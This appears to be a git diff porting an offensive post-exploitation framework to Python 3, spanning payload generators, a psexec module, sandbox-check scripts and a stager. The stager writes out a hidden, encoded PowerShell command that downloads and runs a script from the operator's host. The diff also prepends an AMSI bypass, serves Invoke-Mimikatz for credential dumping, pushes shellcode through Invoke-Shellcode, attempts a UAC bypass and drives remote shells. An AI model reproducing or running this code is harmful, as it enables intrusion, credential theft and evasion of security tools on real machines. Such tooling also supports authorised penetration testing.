GeneratePayload(ez2read_shellcode, payloadname, shellcode): + startDnsMetasploit(portnum, DNSaddr) return "clear" else: return "pass" -def customShellcodeGeneration(payloadchoice,payloadname): + +def customShellcodeGeneration(payloadchoice, payloadname): shellcode = payloadchoice() - print '\n' + shellcode - print t.bold_green + '[*] Custom Shellcode in use' + t.normal - GeneratePayload(shellcode,payloadname,shellcode) + print('\n' + shellcode) + print(t.bold_green + '[*] Custom Shellcode in use' + t.normal) + GeneratePayload(shellcode, payloadname, shellcode) + -def reversePowerShellWatchScreenGeneration(payloadchoice,payloadname): +def reversePowerShellWatchScreenGeneration(payloadchoice, payloadname): return "pass" -def reversePowerShellAskCredsGeneration(payloadchoice,payloadname): - print payloadchoice - clientnumber = int(clientUpload(payloadchoice(), isExe=False,json='{"type":"script", "data":"%s", "sendoutput":"true", "multiple":"false"}')) - from stager import returnServerList + +def reversePowerShellAskCredsGeneration(payloadchoice, payloadname): + clientnumber = int(clientUpload(payloadchoice(), isExe=False, json='{"type":"script", "data":"%s", "sendoutput":"true", "multiple":"false"}')) try: for server in returnServerList(): while True: if server.handlers[clientnumber].in_buffer: - print server.handlers[clientnumber].in_buffer.pop() + print(server.handlers[clientnumber].in_buffer.pop()) break else: time.sleep(0.1) @@ -110,19 +116,20 @@ def reversePowerShellAskCredsGeneration(payloadchoice,payloadname): return "pass" - -def reversePowerShellInvokeMimikatzGeneration(payloadchoice,payloadname): - from menu import returnIP - moduleport = FUNCTIONS().randomUnusedPort() - FUNCTIONS().DoServe(returnIP(), "", "./externalmodules", port = moduleport, printIt = False) - powershellScript = payloadchoice % (returnIP(), moduleport) - clientnumber = int(clientUpload(payloadchoice(), isExe=False,json='{"type":"script", "data":"%s", "sendoutput":"true", "multiple":"false"}')) - from stager import returnServerList +def reversePowerShellInvokeMimikatzGeneration(payloadchoice, payloadname): + from .menu import returnIP + ip = returnIP() + moduleport = randomUnusedPort() + powershellChanges = randomisePS1('Invoke-Mimikatz') + filename = powershellChanges.get('filename') + pDumpCreds = powershellChanges['params'].get('DumpCreds') + DoServe(ip, "", "./externalmodules/staged", port=moduleport, printIt=False) + clientnumber = int(clientUpload(payloadchoice() % (ip, moduleport, filename, filename, pDumpCreds), isExe=False, json='{"type":"script", "data":"%s", "sendoutput":"true", "multiple":"false"}')) try: for server in returnServerList(): while True: if server.handlers[clientnumber].in_buffer: - print server.handlers[clientnumber].in_buffer.pop() + print(server.handlers[clientnumber].in_buffer.pop()) break else: time.sleep(0.1) @@ -130,12 +137,12 @@ def reversePowerShellInvokeMimikatzGeneration(payloadchoice,payloadname): pass return "pass" -def UACBypassGeneration(payloadchoice,payloadname): - from menu import returnIP - moduleport = FUNCTIONS().randomUnusedPort() - FUNCTIONS().DoServe(returnIP(), "", "./externalmodules", port = moduleport, printIt = False) - encoded = printListener(False, True) - powershellScript = payloadchoice % (returnIP(), moduleport, encoded) - clientnumber = int(clientUpload(payloadchoice(), isExe=False,json='{"type":"script", "data":"%s", "sendoutput":"false", "multiple":"false"}')) - print t.bold_green + '\n[*] If UAC Bypass worked, expect a new admin session' + t.normal + +def UACBypassGeneration(payloadchoice, payloadname): + from .menu import returnIP + moduleport = randomUnusedPort() + DoServe(returnIP(), "", "./externalmodules", port=moduleport, printIt=False) + printListener(False, True) + clientUpload(payloadchoice(), isExe=False, json='{"type":"script", "data":"%s", "sendoutput":"false", "multiple":"false"}') + print(t.bold_green + '\n[*] If UAC Bypass worked, expect a new admin session' + t.normal) return "pass" diff --git a/lib/psexec.py b/lib/psexec.py index a24e66b..377a512 100755 --- a/lib/psexec.py +++ b/lib/psexec.py @@ -1,5 +1,5 @@ -#!/usr/bin/python -# Copyright (c) 2003-2016 CORE Security Technologies +#!/usr/bin/env python +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -22,6 +22,7 @@ import random import string import time +from six import PY3 from impacket.examples import logger from impacket import version, smb @@ -54,19 +55,11 @@ class RemComResponse(Structure): lock = Lock() class PSEXEC: - KNOWN_PROTOCOLS = { - '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), - '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), - } - - def __init__(self, command, path, exeFile, copyFile, protocols = None, - username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = False): + def __init__(self, command, path, exeFile, copyFile, port=445, + username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, serviceName=None): self.__username = username self.__password = password - if protocols is None: - self.__protocols = PSEXEC.KNOWN_PROTOCOLS.keys() - else: - self.__protocols = [protocols] + self.__port = port self.__command = command self.__path = path self.__domain = domain @@ -76,27 +69,26 @@ def __init__(self, command, path, exeFile, copyFile, protocols = None, self.__exeFile = exeFile self.__copyFile = copyFile self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__serviceName = serviceName if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') - def run(self, addr): - for protocol in self.__protocols: - protodef = PSEXEC.KNOWN_PROTOCOLS[protocol] - port = protodef[1] + def run(self, remoteName, remoteHost): - logging.info("Trying protocol %s...\n" % protocol) - stringbinding = protodef[0] % addr + stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName + logging.debug('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) - rpctransport = transport.DCERPCTransportFactory(stringbinding) - rpctransport.set_dport(port) - #if hasattr(rpctransport,'preferred_dialect'): - # rpctransport.preferred_dialect(SMB_DIALECT) - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) - rpctransport.set_kerberos(self.__doKerberos) - self.doStuff(rpctransport) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + self.doStuff(rpctransport) def openPipe(self, s, tid, pipe, accessMask): pipeReady = False @@ -111,8 +103,7 @@ def openPipe(self, s, tid, pipe, accessMask): pass if tries == 0: - logging.critical('Pipe not ready, aborting') - raise + raise Exception('Pipe not ready, aborting') fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) @@ -123,7 +114,10 @@ def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() try: dce.connect() - except Exception, e: + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() logging.critical(str(e)) sys.exit(1) @@ -137,16 +131,17 @@ def doStuff(self, rpctransport): # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if self.__exeFile is None: - installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc()) + installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc(), self.__serviceName) else: try: f = open(self.__exeFile) - except Exception, e: + except Exception as e: logging.critical(str(e)) sys.exit(1) installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) - - installService.install() + + if installService.install() is False: + return if self.__exeFile is not None: f.close() @@ -158,18 +153,18 @@ def doStuff(self, rpctransport): self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command tid = s.connectTree('IPC$') - fid_main = self.openPipe(s,tid,'\RemCom_communicaton',0x12019f) + fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f) packet = RemComMessage() pid = os.getpid() - packet['Machine'] = ''.join([random.choice(string.letters) for _ in range(4)]) + packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) if self.__path is not None: packet['WorkingDir'] = self.__path packet['Command'] = self.__command packet['ProcessID'] = pid - s.writeNamedPipe(tid, fid_main, str(packet)) + s.writeNamedPipe(tid, fid_main, packet.getData()) # Here we'll store the command we type so we don't print it back ;) # ( I know.. globals are nasty :P ) @@ -177,19 +172,26 @@ def doStuff(self, rpctransport): LastDataSent = '' # Create the pipes threads - stdin_pipe = RemoteStdInPipe(rpctransport,'\%s%s%d' % (RemComSTDIN ,packet['Machine'],packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare() ) + stdin_pipe = RemoteStdInPipe(rpctransport, + r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), + smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare()) stdin_pipe.start() - stdout_pipe = RemoteStdOutPipe(rpctransport,'\%s%s%d' % (RemComSTDOUT,packet['Machine'],packet['ProcessID']), smb.FILE_READ_DATA ) + stdout_pipe = RemoteStdOutPipe(rpctransport, + r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), + smb.FILE_READ_DATA) stdout_pipe.start() - stderr_pipe = RemoteStdErrPipe(rpctransport,'\%s%s%d' % (RemComSTDERR,packet['Machine'],packet['ProcessID']), smb.FILE_READ_DATA ) + stderr_pipe = RemoteStdErrPipe(rpctransport, + r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), + smb.FILE_READ_DATA) stderr_pipe.start() - + # And we stay here till the end ans = s.readNamedPipe(tid,fid_main,8) if len(ans): - retCode = RemComResponse(ans) - logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) + retCode = RemComResponse(ans) + logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( + self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) installService.uninstall() if self.__copyFile is not None: # We copied a file for execution, let's remove it @@ -199,10 +201,12 @@ def doStuff(self, rpctransport): except SystemExit: raise - except: + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.debug(str(e)) if unInstalled is False: - print "[*] Sleeping While MeterPreter Migrates" - time.sleep(10) installService.uninstall() if self.__copyFile is not None: s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) @@ -228,19 +232,23 @@ def connectPipe(self): lock.acquire() global dialect #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) - self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = dialect) + self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(), + sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: - self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS) + self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.server.login(user, passwd, domain, lm, nt) lock.release() - self.tid = self.server.connectTree('IPC$') + self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) @@ -264,7 +272,7 @@ def run(self): else: # Don't echo what I sent, and clear it up LastDataSent = '' - # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. if LastDataSent > 10: LastDataSent = '' @@ -305,21 +313,23 @@ def __init__(self, server, port, credentials, tid, fid, share, transport): def connect_transferClient(self): #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) - self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = dialect) + self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, + preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: - self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS) + self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, + kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.transferClient.login(user, passwd, domain, lm, nt) def do_help(self, line): - print """ + print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) - get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir + get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd -""" % (self.share, self.share) +""" % (self.share, self.share)) self.send_data('\r\n', False) def do_shell(self, s): @@ -334,15 +344,15 @@ def do_get(self, src_path): import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') - logging.info("Downloading %s\%s" % (self.share, src_path)) + logging.info("Downloading %s\\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() - except Exception, e: + except Exception as e: logging.critical(str(e)) pass self.send_data('\r\n') - + def do_put(self, s): try: if self.transferClient is None: @@ -358,11 +368,14 @@ def do_put(self, s): src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file - pathname = string.replace(f,'/','\\') - logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path)) - self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) + pathname = f.replace('/','\\') + logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) + if PY3: + self.transferClient.putFile(self.share, pathname, fh.read) + else: + self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) fh.close() - except Exception, e: + except Exception as e: logging.error(str(e)) pass @@ -370,7 +383,7 @@ def do_put(self, s): def do_lcd(self, s): if s == '': - print os.getcwd() + print(os.getcwd()) else: os.chdir(s) self.send_data('\r\n') @@ -380,7 +393,10 @@ def emptyline(self): return def default(self, line): - self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') + if PY3: + self.send_data(line.encode('cp437')+b'\r\n') + else: + self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: @@ -403,14 +419,16 @@ def run(self): # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme - #logger.init() - print version.BANNER + logger.init() + print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') - parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)') - parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, arguments are passed in the command option') + parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at ' + 'the target (w/o path) - (default:cmd.exe)') + parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, ' + 'arguments are passed in the command option') parser.add_argument('-path', action='store', help='path of the command to execute') parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)") parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') @@ -419,8 +437,23 @@ def run(self): group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + group.add_argument('-service-name', action='store', metavar="service name", default = '', help='This will be the name of the service') if len(sys.argv)==1: parser.print_help() @@ -434,16 +467,21 @@ def run(self): logging.getLogger().setLevel(logging.INFO) import re - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') + domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + #In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] + if '@' in remoteName: + password = password + '@' + remoteName.rpartition('@')[0] + remoteName = remoteName.rpartition('@')[2] if domain is None: domain = '' + if options.target_ip is None: + options.target_ip = remoteName + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") @@ -455,5 +493,6 @@ def run(self): if command == ' ': command = 'cmd.exe' - executer = PSEXEC(command, options.path, options.file, options.c, None, username, password, domain, options.hashes, options.aesKey, options.k) - executer.run(address) + executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes, + options.aesKey, options.k, options.dc_ip, options.service_name) + executer.run(remoteName, options.target_ip) diff --git a/lib/sandbox/powershell/check_all_DLL_names.ps1 b/lib/sandbox/powershell/check_all_DLL_names.ps1 old mode 100644 new mode 100755 diff --git a/lib/sandbox/powershell/check_all_process_names.ps1 b/lib/sandbox/powershell/check_all_process_names.ps1 old mode 100644 new mode 100755 diff --git a/lib/sandbox/powershell/click_tracker.ps1 b/lib/sandbox/powershell/click_tracker.ps1 old mode 100644 new mode 100755 diff --git a/lib/sandbox/powershell/disk_size.ps1 b/lib/sandbox/powershell/disk_size.ps1 old mode 100644 new mode 100755 diff --git a/lib/sandbox/powershell/registry_size.ps1 b/lib/sandbox/powershell/registry_size.ps1 old mode 100644 new mode 100755 diff --git a/lib/sandbox/powershell/user_prompt.ps1 b/lib/sandbox/powershell/user_prompt.ps1 old mode 100644 new mode 100755 diff --git a/lib/sandbox/powershell/username.ps1 b/lib/sandbox/powershell/username.ps1 old mode 100644 new mode 100755 diff --git a/lib/sandbox/python/check_all_DLL_names.py b/lib/sandbox/python/check_all_DLL_names.py old mode 100644 new mode 100755 diff --git a/lib/sandbox/python/check_all_process_names.py b/lib/sandbox/python/check_all_process_names.py old mode 100644 new mode 100755 diff --git a/lib/sandbox/python/click_tracker.py b/lib/sandbox/python/click_tracker.py old mode 100644 new mode 100755 diff --git a/lib/sandbox/python/disk_size.py b/lib/sandbox/python/disk_size.py old mode 100644 new mode 100755 diff --git a/lib/sandbox/python/registry_size.py b/lib/sandbox/python/registry_size.py old mode 100644 new mode 100755 diff --git a/lib/sandbox/python/user_prompt.py b/lib/sandbox/python/user_prompt.py old mode 100644 new mode 100755 diff --git a/lib/sandbox/python/username.py b/lib/sandbox/python/username.py old mode 100644 new mode 100755 diff --git a/lib/stager.py b/lib/stager.py index 78445f9..55295a2 100755 --- a/lib/stager.py +++ b/lib/stager.py @@ -1,66 +1,67 @@ -from __future__ import unicode_literals -from main import * -from menu import * -from prompt_toolkit.contrib.completers import WordCompleter +import prompt_toolkit +import blessed +import time +from prompt_toolkit.completion import WordCompleter +from prompt_toolkit.patch_stdout import patch_stdout +from base64 import b64encode +from .listener import StartAsync +from .main import amsiPatch, payloaddir, randomUnusedPort, DoServe, \ + powershellShellcodeLayout, randomisePS1 + history = prompt_toolkit.history.InMemoryHistory() +t = blessed.Terminal() + serverlist = [] + def killAllClients(): - numberofclientskilled = 0 - from menu import clientMenuOptions + from .menu import clientMenuOptions if len(clientMenuOptions) > 2: - suretoquit = raw_input('You have clients connected. Are you sure you want to exit? [y]/n: ') + suretoquit = input('You have clients connected. Are you sure you want to exit? [y]/n: ') if suretoquit.lower() == 'y' or suretoquit.lower() == '': for server in serverlist: - for clientnumber in server.handlers.keys(): - numberofclientskilled += 1 - server.handlers[clientnumber].handle_close() + server.server.close() return True else: return False else: return True + def printListener(printit=True, returnit=False): - from listener import Server - from menu import returnIP + from .menu import returnIP powershellFileName = 'p.ps1' while True: - bindOrReverse = prompt_toolkit.prompt('[?] (b)ind/(r)everse: ', patch_stdout=True, completer=WordCompleter(['b', 'r'])).lower() - if bindOrReverse == 'b' or bindOrReverse == 'r': + with patch_stdout(): + bindOrReverse = prompt_toolkit.prompt('[?] (b)ind/(r)everse: ', completer=WordCompleter(['b', 'r'])).lower() + if bindOrReverse == 'b': + print('Bind is currently not working in python3') + elif bindOrReverse == 'r': break + powershellContent = open('lib/powershell/stager.ps1', 'r').read() if bindOrReverse == 'r': - powershellContent = open('lib/powershell/stager.ps1', 'r').read() windows_powershell_stager = powershellContent % ('False', returnIP(), '5555') - if bindOrReverse == 'b': - powershellContent = open('lib/powershell/stager.ps1', 'r').read() - windows_powershell_stager = powershellContent % ('True', '', '5556') - - with open((payloaddir()+ '/' + powershellFileName), 'w') as powershellStagerFile: - powershellStagerFile.write(windows_powershell_stager) + with open((payloaddir() + '/' + powershellFileName), 'w') as powershellStagerFile: + stager_content = amsiPatch + windows_powershell_stager + powershellStagerFile.write(stager_content) powershellStagerFile.close() - randoStagerDLPort = FUNCTIONS().randomUnusedPort() - - FUNCTIONS().DoServe(returnIP(), powershellFileName, payloaddir(), port=randoStagerDLPort, printIt = False) - stagerexec = 'powershell -w hidden -noni -enc ' + ("IEX (New-Object Net.Webclient).DownloadString('http://" + returnIP() + ":" + str(randoStagerDLPort) + "/" + powershellFileName + "')").encode('utf_16_le').encode('base64').replace('\n','') + randoStagerDLPort = randomUnusedPort() + DoServe(returnIP(), powershellFileName, payloaddir(), port=randoStagerDLPort, printIt = False) + stagerexec = 'powershell -w hidden -noni -enc ' + b64encode(("IEX (New-Object Net.Webclient).DownloadString('http://" + returnIP() + ":" + str(randoStagerDLPort) + "/" + powershellFileName + "')").encode('utf_16_le')).decode() if printit: - print t.bold_green + '[!] Run this on target machine...' + t.normal + '\n\n' + stagerexec + '\n' - - if bindOrReverse == 'b': - if not '5556' in str(serverlist): - ipADDR = raw_input('[?] IP Address of target (after executing stager): ') - connectserver = Server(ipADDR, 5556, bindsocket=False) - serverlist.append(connectserver) + print(t.bold_green + '[!] Run this on target machine...' + t.normal + '\n\n' + stagerexec + '\n') if bindOrReverse == 'r': - if not '5555' in str(serverlist): - listenerserver = Server('0.0.0.0', 5555, bindsocket=True) - serverlist.append(listenerserver) + if not serverlist: + listener = StartAsync() + listener.start() + serverlist.append(listener) + if returnit: return stagerexec else: @@ -69,38 +70,40 @@ def printListener(printit=True, returnit=False): def interactShell(clientnumber): clientnumber = int(clientnumber) - from menu import clientMenuOptions + from .menu import clientMenuOptions for server in serverlist: - if clientnumber in server.handlers.keys(): - print "Commands\n" + "-"*50 + "\nback - Background Shell\nexit - Close Connection\n" + "-"*50 + if clientnumber in list(server.server.clients.keys()): + print("Commands\n" + "-"*50 + "\nback - Background Shell\nexit - Close Connection\n" + "-"*50) while True: try: - if server.handlers[clientnumber].in_buffer: - print server.handlers[clientnumber].in_buffer.pop() - command = prompt_toolkit.prompt("PS >", completer=WordCompleter(['back', 'exit']), style=prompt_toolkit.styles.style_from_dict({prompt_toolkit.token.Token: '#FFCC66'}), history=history) + if server.server.clients[clientnumber].in_buffer: + print(server.server.clients[clientnumber].in_buffer.pop()) + command = prompt_toolkit.prompt("PS >", completer=WordCompleter(['back', 'exit']), style=prompt_toolkit.styles.Style.from_dict({'': '#FFCC66'}), history=history) if command.lower() == "back": break if command.lower() == "exit": - server.handlers[clientnumber].handle_close() + server.server.clients[clientnumber].close_client() del clientMenuOptions[str(clientnumber)] time.sleep(2) break if command == "": - server.handlers[clientnumber].out_buffer.append('{"type":"", "data":"", "sendoutput":""}') + server.server.clients[clientnumber].writer.write('{"type":"", "data":"", "sendoutput":""}'.encode()) else: - json = '{"type":"exec", "data":"%s", "sendoutput":"true"}'% ((base64.b64encode(command.encode('utf_16_le')))) - server.handlers[clientnumber].out_buffer.append(json) - while not server.handlers[clientnumber].in_buffer: + json = '{"type":"exec", "data":"%s", "sendoutput":"true"}' % (b64encode(command.encode('UTF_16_le'))).decode() + server.server.clients[clientnumber].writer.write(json.encode()) + while not server.server.clients[clientnumber].in_buffer: time.sleep(0.01) - print server.handlers[clientnumber].in_buffer.pop() + print(server.server.clients[clientnumber].in_buffer.pop()) except KeyboardInterrupt: break return "clear" + def returnServerList(): return serverlist + def checkPayloadLength(payload): maxlen = 10000 splitPayload = [] @@ -127,61 +130,65 @@ def checkPayloadLength(payload): def checkUpload(): - from menu import clientMenuOptions - use_client_upload = prompt_toolkit.prompt('\n[?] Upload Using Client Connection? [y]/n: ', patch_stdout=True, completer=WordCompleter(['y', 'n'])) - print + from .menu import clientMenuOptions + with patch_stdout(): + use_client_upload = prompt_toolkit.prompt('\n[?] Upload Using Client Connection? [y]/n: ', patch_stdout=True, completer=WordCompleter(['y', 'n'])) + print() if use_client_upload.lower() == 'y' or use_client_upload == '': clientList = [] - for i in clientMenuOptions.keys(): + for i in list(clientMenuOptions.keys()): if i == 'back' or i == 'r': pass else: clientList.append(i) - print t.bold_yellow + i + t.normal + ': ' + t.bold_green + clientMenuOptions[i]['payload'] + t.bold_yellow + ' | ' + t.bold_green + clientMenuOptions[i]['availablemodules'].keys()[0] + t.bold_yellow + ' | ' + t.bold_green + clientMenuOptions[i]['availablemodules'].keys()[1] + t.normal - print + print(t.bold_yellow + i + t.normal + ': ' + t.bold_green + clientMenuOptions[i]['payload'] + t.bold_yellow + ' | ' + t.bold_green + list(clientMenuOptions[i]['availablemodules'].keys())[0] + t.bold_yellow + ' | ' + t.bold_green + list(clientMenuOptions[i]['availablemodules'].keys())[1] + t.normal) + print() while True: - clientchoice = prompt_toolkit.prompt('Client > ', patch_stdout=True, style=prompt_toolkit.styles.style_from_dict({prompt_toolkit.token.Token: '#FFCC66'}), completer=WordCompleter(clientList)) + with patch_stdout(): + clientchoice = prompt_toolkit.prompt('Client > ', patch_stdout=True, style=prompt_toolkit.styles.style_from_dict({prompt_toolkit.token.Token: '#FFCC66'}), completer=WordCompleter(clientList)) try: return int(clientMenuOptions[clientchoice]['params']) except: continue return False + def clientUpload(powershellExec, isExe, json): - from menu import returnIP - from encrypt import getSandboxScripts + from .menu import returnIP + from .encrypt import getSandboxScripts clientnumber = checkUpload() if clientnumber: if isExe: - newpayloadlayout = FUNCTIONS().powershellShellcodeLayout(powershellExec) - moduleport = FUNCTIONS().randomUnusedPort() - FUNCTIONS().DoServe(returnIP(), "", "./externalmodules", port = moduleport, printIt = False) + newpayloadlayout = powershellShellcodeLayout(powershellExec) + moduleport = randomUnusedPort() + powershellChanges = randomisePS1('Invoke-Shellcode') + filename = powershellChanges.get('filename') + pForce = powershellChanges['params'].get('Force') + pCode = powershellChanges['params'].get('Shellcode') + DoServe(returnIP(), "", "./externalmodules/staged", port=moduleport, printIt=False) encPowershell = getSandboxScripts('powershell') - encPowershell += "IEX(New-Object Net.WebClient).DownloadString('http://%s:%s/Invoke-Shellcode.ps1');Start-Sleep 30;Invoke-Code -Force -Shellcode @(%s)"%(returnIP(), moduleport, newpayloadlayout.rstrip(',')) - encPowershell = base64.b64encode(encPowershell.encode('UTF-16LE')) - fullExec = "$Arch = (Get-Process -Id $PID).StartInfo.EnvironmentVariables['PROCESSOR_ARCHITECTURE'];if($Arch -eq 'x86'){powershell -exec bypass -enc \"%s\"}elseif($Arch -eq 'amd64'){$powershell86 = $env:windir + '\SysWOW64\WindowsPowerShell\\v1.0\powershell.exe';& $powershell86 -exec bypass -enc \"%s\"}"%(encPowershell,encPowershell) - b64Exec = base64.b64encode(fullExec.encode('UTF-16LE')) - lenb64 = len(b64Exec) + encPowershell += "IEX(New-Object Net.WebClient).DownloadString('http://%s:%s/%s.ps1');Start-Sleep 30;%s -%s -%s @(%s)"%(returnIP(), moduleport, filename, filename, pForce, pCode, newpayloadlayout.rstrip(',')) + encPowershell = b64encode(encPowershell.encode('UTF-16LE')) + fullExec = "$Arch = (Get-Process -Id $PID).StartInfo.EnvironmentVariables['PROCESSOR_ARCHITECTURE'];if($Arch -eq 'x86'){powershell -exec bypass -enc \"%s\"}elseif($Arch -eq 'amd64'){$powershell86 = $env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe';& $powershell86 -exec bypass -enc \"%s\"}"%(encPowershell,encPowershell) + b64Exec = b64encode(fullExec.encode('UTF-16LE')) else: - b64Exec = base64.b64encode(powershellExec.encode('UTF-16LE')) - lenb64 = len(b64Exec) - + b64Exec = b64encode(powershellExec.encode('UTF-16LE')) splitPayoad = checkPayloadLength(b64Exec) if splitPayoad: for p in splitPayoad: for server in serverlist: - if clientnumber in server.handlers.keys(): + if clientnumber in list(server.handlers.keys()): server.handlers[clientnumber].out_buffer.append(json % (p)) time.sleep(0.5) time.sleep(0.5) for server in serverlist: - if clientnumber in 